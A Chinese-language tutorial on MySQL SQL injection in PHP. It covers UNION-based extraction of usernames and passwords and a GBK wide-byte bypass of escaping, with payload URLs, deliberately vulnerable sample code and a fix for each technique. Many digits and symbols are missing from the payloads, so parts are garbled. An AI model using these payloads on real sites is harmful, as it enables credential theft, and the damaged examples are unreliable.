一单字节SQL注入
MYSQL的SQL注入已经由来已久以下是普遍采用的注入步骤
在GET参数上加一个/*或者#(mysql专有的注释)判断数据库是否是mysql比如http://wwwxxxcomcn/articlephp?id= and =/*
猜解某表的字段数从order by 一直更改到页面出错为止就可以得到该表的字段数
注入URLhttp://wwwxxxcomcn/articlephp?id= or = order by #
对应的SQL
select * from articles where id= or = order by #…
使用该表和用户表进行关联查询在文章列表里就可以看到用户名和密码了当也要猜解用户表的表名和用户名密码的字段名比如上一步得到的字段数是
注入的URLhttp://wwwxxxcomcn/articlephp?id= or = union select usernamepassword from user
对应的SQL
select * from articles where id= or = union select usernamepassword from user
这样就可以在界面上看到用户名和密码了
解决方法
过滤数据这并不是罗唆在合适的地方使用良好的数据过滤可以减小多数安全隐患甚至可以消除其中的一部分
将数据用括号包含如果你的数据库允许(MySQL 允许)在 SQL 语句中不论什么类型的数据都用单引号包含起来
转义数据一些合法的数据可能在无意中破坏 SQL 语句本身的格式使用 mysql_escape_string() 或者所使用数据库提供的转移函数如果没有提供这样的函数addslashes() 也是不错的最后选择
二宽字节注入
宽字节注入也是在最近的项目中发现的问题大家都知道%df 被PHP转义(开启GPC用addslashes函数或者icov等)单引号被加上反斜槓\变成了 %df\其中\的十六进制是 %C 那么现在 %df\ = %df%c%如果程序的默认字符集是GBK等宽字节字符集则MYSQL用GBK的编码时会认为 %df%c 是一个宽字符也就是缞也就是说%df\ = %df%c%=缞有了单引号就好注入了比如
$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);
mysql_query(”SET NAMES ‘GBK’”);
mysql_select_db(”test”,$conn);
$user = mysql_escape_string($_GET['user']);
$pass = mysql_escape_string($_GET['pass']);
$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;
$result = mysql_query($sql,$conn);
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
$rows[] = $row;
}
?>
则通过以下注入即可:
http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
对应的SQL是:
select * from cms_user where username = ‘运’ or 1=1 limit 1,1#’ and password=”
解决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。TW.wInGWiT.cOM如:
mysql_query(”SET character_set_client=binary”);